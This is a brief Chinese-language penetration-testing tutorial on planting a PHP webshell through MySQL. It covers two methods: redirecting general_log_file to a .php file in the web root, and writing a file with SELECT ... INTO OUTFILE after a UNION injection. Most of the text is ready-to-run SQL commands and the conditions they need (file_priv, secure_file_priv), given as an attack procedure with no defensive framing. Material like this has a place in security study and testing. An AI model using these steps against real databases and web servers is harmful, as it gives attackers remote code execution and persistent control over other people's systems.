日志写马

条件

MySQL的两个全局变量:
general_log指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general_log_file 指的是日志的保存路径。

实操

输入命令查看日志设置状态。
show global variables like "%general_log%";

当前状态是关闭的,我们输入命令打开。
set global general_log='on';
打开之后,他会记录我们的操作记录到general_log_file的文件里。
!注:不管sql语句是否正确都会记录进去。

general_log_file跟general_log一样,可以通过数据库命令修改。
我们将日志文件的后缀改为php,并且把它放在web目录里,那么就可以把webshell写进去了。
先设置新的log路径。
set global general_log_file='C:\\PHPStudy\\PHPTutorial\\WWW\\shell.php';

然后在通过日志将shell写进去。


解析成功。

into outfile写shell

条件

mysql用户拥有file_priv权限
输入show global variables like '%secure%';
当secure_file_priv为空而不是NULL,就可以写入磁盘的目录。
secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量。

实操

一般是在union后面加写入语句。
mysql> select '<?php phpinfo();?>' into outfile 'C:\\PHPStudy\\PHPTutorial\\WWW\
\1.php';
Query OK, 1 row affected (0.00 sec)

然后就会在相应目录写入shell。